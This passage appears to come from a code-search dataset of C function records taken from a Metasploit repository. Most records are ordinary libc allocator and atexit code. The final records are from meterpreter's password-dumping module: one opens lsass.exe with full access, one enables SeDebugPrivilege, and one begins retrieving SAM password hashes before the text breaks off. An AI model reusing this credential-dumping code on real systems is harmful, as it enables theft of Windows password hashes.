"shrinking",
"\"",
"an",
"allocation",
"but",
"overall",
"it",
"doesn",
"'",
"t",
"seem",
"to",
"matter",
"as",
"caller",
"of",
"realloc",
"should",
"not",
"expect",
"that",
"pointer",
"returned",
"after",
"shrinking",
"will",
"remain",
"the",
"same",
"."
] | void*
qemu_instrumented_realloc(void* mem, size_t bytes)
{
MallocDesc new_desc;
MallocDesc cur_desc;
size_t to_copy;
void* ret;
if (mem == NULL) {
info_log("::: <libc_pid=%03u, pid=%03u>: realloc(%p, %u) redir to malloc",
malloc_pid, getpid(), mem, bytes);
return qemu_instrumented_malloc(bytes);
}
if (bytes == 0) {
info_log("::: <libc_pid=%03u, pid=%03u>: realloc(%p, %u) redir to free and malloc",
malloc_pid, getpid(), mem, bytes);
qemu_instrumented_free(mem);
return NULL;
}
if (query_qemu_malloc_info(mem, &cur_desc, 2)) {
error_log("<libc_pid=%03u, pid=%03u>: realloc(%p, %u) query_info failed.",
malloc_pid, getpid(), mem, bytes);
return NULL;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&cur_desc);
#endif
if (mem != mallocdesc_user_ptr(&cur_desc)) {
log_mdesc(error, &cur_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u) is invalid for ",
malloc_pid, getpid(), mem, bytes);
return NULL;
}
new_desc.prefix_size = DEFAULT_PREFIX_SIZE;
new_desc.requested_bytes = bytes;
new_desc.suffix_size = DEFAULT_SUFFIX_SIZE;
new_desc.ptr = dlmalloc(mallocdesc_alloc_size(&new_desc));
if (new_desc.ptr == NULL) {
log_mdesc(error, &cur_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u): dlmalloc(%u) failed on ",
malloc_pid, getpid(), mem, bytes,
mallocdesc_alloc_size(&new_desc));
return NULL;
}
ret = mallocdesc_user_ptr(&new_desc);
to_copy = bytes < cur_desc.requested_bytes ? bytes :
cur_desc.requested_bytes;
if (to_copy != 0) {
memcpy(ret, mallocdesc_user_ptr(&cur_desc), to_copy);
}
if(notify_qemu_malloc(&new_desc)) {
log_mdesc(error, &new_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u) notify_malloc failed -> ",
malloc_pid, getpid(), mem, bytes);
log_mdesc(error, &cur_desc, " <- ");
dlfree(new_desc.ptr);
return NULL;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&new_desc);
#endif
if (notify_qemu_free(mem)) {
log_mdesc(error, &cur_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u): notify_free failed for ",
malloc_pid, getpid(), mem, bytes);
notify_qemu_free(mallocdesc_user_ptr(&new_desc));
dlfree(new_desc.ptr);
return NULL;
}
dlfree(cur_desc.ptr);
log_mdesc(info, &new_desc, "=== <libc_pid=%03u, pid=%03u>: realloc(%p, %u) -> ",
malloc_pid, getpid(), mem, bytes);
log_mdesc(info, &cur_desc, " <- ");
return ret;
} | [
"void",
"*",
"qemu_instrumented_realloc",
"(",
"void",
"*",
"mem",
",",
"size_t",
"bytes",
")",
"{",
"MallocDesc",
"new_desc",
";",
"MallocDesc",
"cur_desc",
";",
"size_t",
"to_copy",
";",
"void",
"*",
"ret",
";",
"if",
"(",
"mem",
"==",
"NULL",
")",
"{",
"info_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
")",
";",
"return",
"qemu_instrumented_malloc",
"(",
"bytes",
")",
";",
"}",
"if",
"(",
"bytes",
"==",
"0",
")",
"{",
"info_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
")",
";",
"qemu_instrumented_free",
"(",
"mem",
")",
";",
"return",
"NULL",
";",
"}",
"if",
"(",
"query_qemu_malloc_info",
"(",
"mem",
",",
"&",
"cur_desc",
",",
"2",
")",
")",
"{",
"error_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
")",
";",
"return",
"NULL",
";",
"}",
"#if",
"TEST_ACCESS_VIOLATIONS",
"\n",
"test_access_violation",
"(",
"&",
"cur_desc",
")",
";",
"#endif",
"if",
"(",
"mem",
"!=",
"mallocdesc_user_ptr",
"(",
"&",
"cur_desc",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"cur_desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
")",
";",
"return",
"NULL",
";",
"}",
"new_desc",
".",
"prefix_size",
"=",
"DEFAULT_PREFIX_SIZE",
";",
"new_desc",
".",
"requested_bytes",
"=",
"bytes",
";",
"new_desc",
".",
"suffix_size",
"=",
"DEFAULT_SUFFIX_SIZE",
";",
"new_desc",
".",
"ptr",
"=",
"dlmalloc",
"(",
"mallocdesc_alloc_size",
"(",
"&",
"new_desc",
")",
")",
";",
"if",
"(",
"new_desc",
".",
"ptr",
"==",
"NULL",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"cur_desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
",",
"mallocdesc_alloc_size",
"(",
"&",
"new_desc",
")",
")",
";",
"return",
"NULL",
";",
"}",
"ret",
"=",
"mallocdesc_user_ptr",
"(",
"&",
"new_desc",
")",
";",
"to_copy",
"=",
"bytes",
"<",
"cur_desc",
".",
"requested_bytes",
"?",
"bytes",
":",
"cur_desc",
".",
"requested_bytes",
";",
"if",
"(",
"to_copy",
"!=",
"0",
")",
"{",
"memcpy",
"(",
"ret",
",",
"mallocdesc_user_ptr",
"(",
"&",
"cur_desc",
")",
",",
"to_copy",
")",
";",
"}",
"if",
"(",
"notify_qemu_malloc",
"(",
"&",
"new_desc",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"new_desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
")",
";",
"log_mdesc",
"(",
"error",
",",
"&",
"cur_desc",
",",
"\"",
"\"",
")",
";",
"dlfree",
"(",
"new_desc",
".",
"ptr",
")",
";",
"return",
"NULL",
";",
"}",
"#if",
"TEST_ACCESS_VIOLATIONS",
"\n",
"test_access_violation",
"(",
"&",
"new_desc",
")",
";",
"#endif",
"if",
"(",
"notify_qemu_free",
"(",
"mem",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"cur_desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
")",
";",
"notify_qemu_free",
"(",
"mallocdesc_user_ptr",
"(",
"&",
"new_desc",
")",
")",
";",
"dlfree",
"(",
"new_desc",
".",
"ptr",
")",
";",
"return",
"NULL",
";",
"}",
"dlfree",
"(",
"cur_desc",
".",
"ptr",
")",
";",
"log_mdesc",
"(",
"info",
",",
"&",
"new_desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
",",
"bytes",
")",
";",
"log_mdesc",
"(",
"info",
",",
"&",
"cur_desc",
",",
"\"",
"\"",
")",
";",
"return",
"ret",
";",
"}"
] | This routine serves as entry point for 'realloc'. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"realloc",
"'",
"."
] | [
"// Nothing to realloc. just do regular malloc.",
"// This is a \"free\" condition.",
"// This is what dlrealloc does for a \"free\" realloc.",
"// Query emulator for the reallocating block information.",
"// Note that this violation should be already caught in the emulator.",
"// TEST_ACCESS_VIOLATIONS",
"/* Make sure that reallocating pointer value is what we would expect\n * for this memory block. Note that this violation should be already caught\n * in the emulator.*/",
"/* TODO: We're a bit inefficient here, always allocating new block from\n * the heap. If this realloc shrinks current buffer, we can just do the\n * shrinking \"in place\", adjusting suffix_size in the allocation descriptor\n * for this block that is stored in the emulator. */",
"// Initialize descriptor for the new block.",
"// Copy user data from old block to the new one.",
"// Register new block with emulator.",
"// TEST_ACCESS_VIOLATIONS",
"// Free old block.",
"/* Since we registered new decriptor with the emulator, we need\n * to unregister it before freeing newly allocated block. */"
] | [
{
"param": "mem",
"type": "void"
},
{
"param": "bytes",
"type": "size_t"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "mem",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "bytes",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | qemu_instrumented_memalign | void | void*
qemu_instrumented_memalign(size_t alignment, size_t bytes)
{
MallocDesc desc;
if (bytes == 0) {
// Just let go zero bytes allocation.
info_log("::: <libc_pid=%03u, pid=%03u>: memalign(%X, %u) redir to malloc",
malloc_pid, getpid(), alignment, bytes);
return qemu_instrumented_malloc(0);
}
/* Prefix size for aligned allocation must be equal to the alignment used
* for allocation in order to ensure proper alignment of the returned
* pointer, in case that alignment requirement is greater than prefix
* size. */
desc.prefix_size = alignment > DEFAULT_PREFIX_SIZE ? alignment :
DEFAULT_PREFIX_SIZE;
desc.requested_bytes = bytes;
desc.suffix_size = DEFAULT_SUFFIX_SIZE;
desc.ptr = dlmemalign(desc.prefix_size, mallocdesc_alloc_size(&desc));
if (desc.ptr == NULL) {
error_log("<libc_pid=%03u, pid=%03u> memalign(%X, %u): dlmalloc(%u) failed.",
malloc_pid, getpid(), alignment, bytes,
mallocdesc_alloc_size(&desc));
return NULL;
}
if (notify_qemu_malloc(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: memalign(%X, %u): notify_malloc failed for ",
malloc_pid, getpid(), alignment, bytes);
dlfree(desc.ptr);
return NULL;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif // TEST_ACCESS_VIOLATIONS
log_mdesc(info, &desc, "@@@ <libc_pid=%03u, pid=%03u> memalign(%X, %u) -> ",
malloc_pid, getpid(), alignment, bytes);
return mallocdesc_user_ptr(&desc);
} | /* This routine serves as entry point for 'memalign'.
* This routine behaves similarly to qemu_instrumented_malloc.
*/ | This routine serves as entry point for 'memalign'.
This routine behaves similarly to qemu_instrumented_malloc. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"memalign",
"'",
".",
"This",
"routine",
"behaves",
"similarly",
"to",
"qemu_instrumented_malloc",
"."
] | void*
qemu_instrumented_memalign(size_t alignment, size_t bytes)
{
MallocDesc desc;
if (bytes == 0) {
info_log("::: <libc_pid=%03u, pid=%03u>: memalign(%X, %u) redir to malloc",
malloc_pid, getpid(), alignment, bytes);
return qemu_instrumented_malloc(0);
}
desc.prefix_size = alignment > DEFAULT_PREFIX_SIZE ? alignment :
DEFAULT_PREFIX_SIZE;
desc.requested_bytes = bytes;
desc.suffix_size = DEFAULT_SUFFIX_SIZE;
desc.ptr = dlmemalign(desc.prefix_size, mallocdesc_alloc_size(&desc));
if (desc.ptr == NULL) {
error_log("<libc_pid=%03u, pid=%03u> memalign(%X, %u): dlmalloc(%u) failed.",
malloc_pid, getpid(), alignment, bytes,
mallocdesc_alloc_size(&desc));
return NULL;
}
if (notify_qemu_malloc(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: memalign(%X, %u): notify_malloc failed for ",
malloc_pid, getpid(), alignment, bytes);
dlfree(desc.ptr);
return NULL;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif
log_mdesc(info, &desc, "@@@ <libc_pid=%03u, pid=%03u> memalign(%X, %u) -> ",
malloc_pid, getpid(), alignment, bytes);
return mallocdesc_user_ptr(&desc);
} | [
"void",
"*",
"qemu_instrumented_memalign",
"(",
"size_t",
"alignment",
",",
"size_t",
"bytes",
")",
"{",
"MallocDesc",
"desc",
";",
"if",
"(",
"bytes",
"==",
"0",
")",
"{",
"info_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"alignment",
",",
"bytes",
")",
";",
"return",
"qemu_instrumented_malloc",
"(",
"0",
")",
";",
"}",
"desc",
".",
"prefix_size",
"=",
"alignment",
">",
"DEFAULT_PREFIX_SIZE",
"?",
"alignment",
":",
"DEFAULT_PREFIX_SIZE",
";",
"desc",
".",
"requested_bytes",
"=",
"bytes",
";",
"desc",
".",
"suffix_size",
"=",
"DEFAULT_SUFFIX_SIZE",
";",
"desc",
".",
"ptr",
"=",
"dlmemalign",
"(",
"desc",
".",
"prefix_size",
",",
"mallocdesc_alloc_size",
"(",
"&",
"desc",
")",
")",
";",
"if",
"(",
"desc",
".",
"ptr",
"==",
"NULL",
")",
"{",
"error_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"alignment",
",",
"bytes",
",",
"mallocdesc_alloc_size",
"(",
"&",
"desc",
")",
")",
";",
"return",
"NULL",
";",
"}",
"if",
"(",
"notify_qemu_malloc",
"(",
"&",
"desc",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"alignment",
",",
"bytes",
")",
";",
"dlfree",
"(",
"desc",
".",
"ptr",
")",
";",
"return",
"NULL",
";",
"}",
"#if",
"TEST_ACCESS_VIOLATIONS",
"\n",
"test_access_violation",
"(",
"&",
"desc",
")",
";",
"#endif",
"log_mdesc",
"(",
"info",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"alignment",
",",
"bytes",
")",
";",
"return",
"mallocdesc_user_ptr",
"(",
"&",
"desc",
")",
";",
"}"
] | This routine serves as entry point for 'memalign'. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"memalign",
"'",
"."
] | [
"// Just let go zero bytes allocation.",
"/* Prefix size for aligned allocation must be equal to the alignment used\n * for allocation in order to ensure proper alignment of the returned\n * pointer, in case that alignment requirement is greater than prefix\n * size. */",
"// TEST_ACCESS_VIOLATIONS"
] | [
{
"param": "alignment",
"type": "size_t"
},
{
"param": "bytes",
"type": "size_t"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "alignment",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "bytes",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4ba217732eff10a2ef542389a051d451ddc5bbb0 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdlib/atexit.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | __cxa_atexit | int | int
__cxa_atexit(void (*func)(void *), void *arg, void *dso)
{
struct atexit *p = __atexit;
struct atexit_fn *fnp;
int pgsize = getpagesize();
int ret = -1;
if (pgsize < (int)sizeof(*p))
return (-1);
_ATEXIT_LOCK();
p = __atexit;
if (p != NULL) {
if (p->ind + 1 >= p->max)
p = NULL;
else if (mprotect(p, pgsize, PROT_READ | PROT_WRITE))
goto unlock;
}
if (p == NULL) {
p = mmap(NULL, pgsize, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (p == MAP_FAILED)
goto unlock;
if (__atexit == NULL) {
memset(&p->fns[0], 0, sizeof(p->fns[0]));
p->ind = 1;
} else
p->ind = 0;
p->max = (pgsize - ((char *)&p->fns[0] - (char *)p)) /
sizeof(p->fns[0]);
p->next = __atexit;
__atexit = p;
if (__atexit_invalid)
__atexit_invalid = 0;
}
fnp = &p->fns[p->ind++];
fnp->fn_ptr.cxa_func = func;
fnp->fn_arg = arg;
fnp->fn_dso = dso;
if (mprotect(p, pgsize, PROT_READ))
goto unlock;
ret = 0;
unlock:
_ATEXIT_UNLOCK();
return (ret);
} | /*
* Register a function to be performed at exit or when a shared object
* with the given dso handle is unloaded dynamically. Also used as
* the backend for atexit(). For more info on this API, see:
*
* http://www.codesourcery.com/cxx-abi/abi.html#dso-dtor
*/ | Register a function to be performed at exit or when a shared object
with the given dso handle is unloaded dynamically. Also used as
the backend for atexit(). For more info on this API, see.
| [
"Register",
"a",
"function",
"to",
"be",
"performed",
"at",
"exit",
"or",
"when",
"a",
"shared",
"object",
"with",
"the",
"given",
"dso",
"handle",
"is",
"unloaded",
"dynamically",
".",
"Also",
"used",
"as",
"the",
"backend",
"for",
"atexit",
"()",
".",
"For",
"more",
"info",
"on",
"this",
"API",
"see",
"."
] | int
__cxa_atexit(void (*func)(void *), void *arg, void *dso)
{
struct atexit *p = __atexit;
struct atexit_fn *fnp;
int pgsize = getpagesize();
int ret = -1;
if (pgsize < (int)sizeof(*p))
return (-1);
_ATEXIT_LOCK();
p = __atexit;
if (p != NULL) {
if (p->ind + 1 >= p->max)
p = NULL;
else if (mprotect(p, pgsize, PROT_READ | PROT_WRITE))
goto unlock;
}
if (p == NULL) {
p = mmap(NULL, pgsize, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (p == MAP_FAILED)
goto unlock;
if (__atexit == NULL) {
memset(&p->fns[0], 0, sizeof(p->fns[0]));
p->ind = 1;
} else
p->ind = 0;
p->max = (pgsize - ((char *)&p->fns[0] - (char *)p)) /
sizeof(p->fns[0]);
p->next = __atexit;
__atexit = p;
if (__atexit_invalid)
__atexit_invalid = 0;
}
fnp = &p->fns[p->ind++];
fnp->fn_ptr.cxa_func = func;
fnp->fn_arg = arg;
fnp->fn_dso = dso;
if (mprotect(p, pgsize, PROT_READ))
goto unlock;
ret = 0;
unlock:
_ATEXIT_UNLOCK();
return (ret);
} | [
"int",
"__cxa_atexit",
"(",
"void",
"(",
"*",
"func",
")",
"(",
"void",
"*",
")",
",",
"void",
"*",
"arg",
",",
"void",
"*",
"dso",
")",
"{",
"struct",
"atexit",
"*",
"p",
"=",
"__atexit",
";",
"struct",
"atexit_fn",
"*",
"fnp",
";",
"int",
"pgsize",
"=",
"getpagesize",
"(",
")",
";",
"int",
"ret",
"=",
"-1",
";",
"if",
"(",
"pgsize",
"<",
"(",
"int",
")",
"sizeof",
"(",
"*",
"p",
")",
")",
"return",
"(",
"-1",
")",
";",
"_ATEXIT_LOCK",
"(",
")",
";",
"p",
"=",
"__atexit",
";",
"if",
"(",
"p",
"!=",
"NULL",
")",
"{",
"if",
"(",
"p",
"->",
"ind",
"+",
"1",
">=",
"p",
"->",
"max",
")",
"p",
"=",
"NULL",
";",
"else",
"if",
"(",
"mprotect",
"(",
"p",
",",
"pgsize",
",",
"PROT_READ",
"|",
"PROT_WRITE",
")",
")",
"goto",
"unlock",
";",
"}",
"if",
"(",
"p",
"==",
"NULL",
")",
"{",
"p",
"=",
"mmap",
"(",
"NULL",
",",
"pgsize",
",",
"PROT_READ",
"|",
"PROT_WRITE",
",",
"MAP_ANON",
"|",
"MAP_PRIVATE",
",",
"-1",
",",
"0",
")",
";",
"if",
"(",
"p",
"==",
"MAP_FAILED",
")",
"goto",
"unlock",
";",
"if",
"(",
"__atexit",
"==",
"NULL",
")",
"{",
"memset",
"(",
"&",
"p",
"->",
"fns",
"[",
"0",
"]",
",",
"0",
",",
"sizeof",
"(",
"p",
"->",
"fns",
"[",
"0",
"]",
")",
")",
";",
"p",
"->",
"ind",
"=",
"1",
";",
"}",
"else",
"p",
"->",
"ind",
"=",
"0",
";",
"p",
"->",
"max",
"=",
"(",
"pgsize",
"-",
"(",
"(",
"char",
"*",
")",
"&",
"p",
"->",
"fns",
"[",
"0",
"]",
"-",
"(",
"char",
"*",
")",
"p",
")",
")",
"/",
"sizeof",
"(",
"p",
"->",
"fns",
"[",
"0",
"]",
")",
";",
"p",
"->",
"next",
"=",
"__atexit",
";",
"__atexit",
"=",
"p",
";",
"if",
"(",
"__atexit_invalid",
")",
"__atexit_invalid",
"=",
"0",
";",
"}",
"fnp",
"=",
"&",
"p",
"->",
"fns",
"[",
"p",
"->",
"ind",
"++",
"]",
";",
"fnp",
"->",
"fn_ptr",
".",
"cxa_func",
"=",
"func",
";",
"fnp",
"->",
"fn_arg",
"=",
"arg",
";",
"fnp",
"->",
"fn_dso",
"=",
"dso",
";",
"if",
"(",
"mprotect",
"(",
"p",
",",
"pgsize",
",",
"PROT_READ",
")",
")",
"goto",
"unlock",
";",
"ret",
"=",
"0",
";",
"unlock",
":",
"_ATEXIT_UNLOCK",
"(",
")",
";",
"return",
"(",
"ret",
")",
";",
"}"
] | Register a function to be performed at exit or when a shared object
with the given dso handle is unloaded dynamically. | [
"Register",
"a",
"function",
"to",
"be",
"performed",
"at",
"exit",
"or",
"when",
"a",
"shared",
"object",
"with",
"the",
"given",
"dso",
"handle",
"is",
"unloaded",
"dynamically",
"."
] | [] | [
{
"param": "func",
"type": "void"
},
{
"param": "arg",
"type": "void"
},
{
"param": "dso",
"type": "void"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "func",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "arg",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "dso",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4ba217732eff10a2ef542389a051d451ddc5bbb0 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdlib/atexit.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | atexit | int | int
atexit(void (*func)(void))
{
return (__cxa_atexit((void (*)(void *))func, NULL, NULL));
} | /*
* Register a function to be performed at exit.
*/ | Register a function to be performed at exit. | [
"Register",
"a",
"function",
"to",
"be",
"performed",
"at",
"exit",
"."
] | int
atexit(void (*func)(void))
{
return (__cxa_atexit((void (*)(void *))func, NULL, NULL));
} | [
"int",
"atexit",
"(",
"void",
"(",
"*",
"func",
")",
"(",
"void",
")",
")",
"{",
"return",
"(",
"__cxa_atexit",
"(",
"(",
"void",
"(",
"*",
")",
"(",
"void",
"*",
")",
")",
"func",
",",
"NULL",
",",
"NULL",
")",
")",
";",
"}"
] | Register a function to be performed at exit. | [
"Register",
"a",
"function",
"to",
"be",
"performed",
"at",
"exit",
"."
] | [] | [
{
"param": "func",
"type": "void"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "func",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
d303a426281143fb2098eb89789b97ef1804ff5a | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/priv/server/passwd.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | GetLsassHandle | HANDLE | HANDLE GetLsassHandle() {
DWORD dwProcessList[1024];
DWORD dwProcessListSize;
HANDLE hProcess;
char szProcessName[10];
DWORD dwCount;
/* enumerate all pids on the system */
if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize)) {
/* only look in the first 256 process ids for lsass.exe */
if (dwProcessListSize > sizeof(dwProcessList))
dwProcessListSize = sizeof(dwProcessList);
/* iterate through all pids, retrieve the executable name, and match to lsass.exe */
for (dwCount = 0; dwCount < dwProcessListSize; dwCount++) {
if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount])) {
if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))) {
if (strcmp(szProcessName, "lsass.exe") == 0) {
return hProcess;
}
}
CloseHandle(hProcess);
}
}
}
return 0;
} | /* retrieve a handle to lsass.exe */ | retrieve a handle to lsass.exe | [
"retrieve",
"a",
"handle",
"to",
"lsass",
".",
"exe"
] | HANDLE GetLsassHandle() {
DWORD dwProcessList[1024];
DWORD dwProcessListSize;
HANDLE hProcess;
char szProcessName[10];
DWORD dwCount;
if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize)) {
if (dwProcessListSize > sizeof(dwProcessList))
dwProcessListSize = sizeof(dwProcessList);
for (dwCount = 0; dwCount < dwProcessListSize; dwCount++) {
if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount])) {
if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))) {
if (strcmp(szProcessName, "lsass.exe") == 0) {
return hProcess;
}
}
CloseHandle(hProcess);
}
}
}
return 0;
} | [
"HANDLE",
"GetLsassHandle",
"(",
")",
"{",
"DWORD",
"dwProcessList",
"[",
"1024",
"]",
";",
"DWORD",
"dwProcessListSize",
";",
"HANDLE",
"hProcess",
";",
"char",
"szProcessName",
"[",
"10",
"]",
";",
"DWORD",
"dwCount",
";",
"if",
"(",
"EnumProcesses",
"(",
"dwProcessList",
",",
"sizeof",
"(",
"dwProcessList",
")",
",",
"&",
"dwProcessListSize",
")",
")",
"{",
"if",
"(",
"dwProcessListSize",
">",
"sizeof",
"(",
"dwProcessList",
")",
")",
"dwProcessListSize",
"=",
"sizeof",
"(",
"dwProcessList",
")",
";",
"for",
"(",
"dwCount",
"=",
"0",
";",
"dwCount",
"<",
"dwProcessListSize",
";",
"dwCount",
"++",
")",
"{",
"if",
"(",
"hProcess",
"=",
"OpenProcess",
"(",
"PROCESS_ALL_ACCESS",
",",
"FALSE",
",",
"dwProcessList",
"[",
"dwCount",
"]",
")",
")",
"{",
"if",
"(",
"GetModuleBaseName",
"(",
"hProcess",
",",
"NULL",
",",
"szProcessName",
",",
"sizeof",
"(",
"szProcessName",
")",
")",
")",
"{",
"if",
"(",
"strcmp",
"(",
"szProcessName",
",",
"\"",
"\"",
")",
"==",
"0",
")",
"{",
"return",
"hProcess",
";",
"}",
"}",
"CloseHandle",
"(",
"hProcess",
")",
";",
"}",
"}",
"}",
"return",
"0",
";",
"}"
] | retrieve a handle to lsass.exe | [
"retrieve",
"a",
"handle",
"to",
"lsass",
".",
"exe"
] | [
"/* enumerate all pids on the system */",
"/* only look in the first 256 process ids for lsass.exe */",
"/* iterate through all pids, retrieve the executable name, and match to lsass.exe */"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
d303a426281143fb2098eb89789b97ef1804ff5a | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/priv/server/passwd.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | SetAccessPriv | int | int SetAccessPriv() {
HANDLE hToken;
TOKEN_PRIVILEGES priv;
/* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) {
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
priv.PrivilegeCount = 1;
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) {
CloseHandle(hToken);
return 1;
}
}
CloseHandle(hToken);
}
return 0;
} | /* set the process to have the SE_DEBUG_NAME privilige */ | set the process to have the SE_DEBUG_NAME privilige | [
"set",
"the",
"process",
"to",
"have",
"the",
"SE_DEBUG_NAME",
"privilige"
] | int SetAccessPriv() {
HANDLE hToken;
TOKEN_PRIVILEGES priv;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) {
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
priv.PrivilegeCount = 1;
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) {
CloseHandle(hToken);
return 1;
}
}
CloseHandle(hToken);
}
return 0;
} | [
"int",
"SetAccessPriv",
"(",
")",
"{",
"HANDLE",
"hToken",
";",
"TOKEN_PRIVILEGES",
"priv",
";",
"if",
"(",
"OpenProcessToken",
"(",
"GetCurrentProcess",
"(",
")",
",",
"TOKEN_ADJUST_PRIVILEGES",
",",
"&",
"hToken",
")",
")",
"{",
"if",
"(",
"LookupPrivilegeValue",
"(",
"NULL",
",",
"SE_DEBUG_NAME",
",",
"&",
"priv",
".",
"Privileges",
"[",
"0",
"]",
".",
"Luid",
")",
")",
"{",
"priv",
".",
"Privileges",
"[",
"0",
"]",
".",
"Attributes",
"=",
"SE_PRIVILEGE_ENABLED",
";",
"priv",
".",
"PrivilegeCount",
"=",
"1",
";",
"if",
"(",
"AdjustTokenPrivileges",
"(",
"hToken",
",",
"FALSE",
",",
"&",
"priv",
",",
"0",
",",
"NULL",
",",
"NULL",
")",
")",
"{",
"CloseHandle",
"(",
"hToken",
")",
";",
"return",
"1",
";",
"}",
"}",
"CloseHandle",
"(",
"hToken",
")",
";",
"}",
"return",
"0",
";",
"}"
] | set the process to have the SE_DEBUG_NAME privilige | [
"set",
"the",
"process",
"to",
"have",
"the",
"SE_DEBUG_NAME",
"privilige"
] | [
"/* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
d303a426281143fb2098eb89789b97ef1804ff5a | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/priv/server/passwd.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_passwd_get_sam_hashes | DWORD | DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
char *hashes = NULL;
do
{
// Get the hashes
if (control(120000, &hashes))
{
res = GetLastError();
break;
}
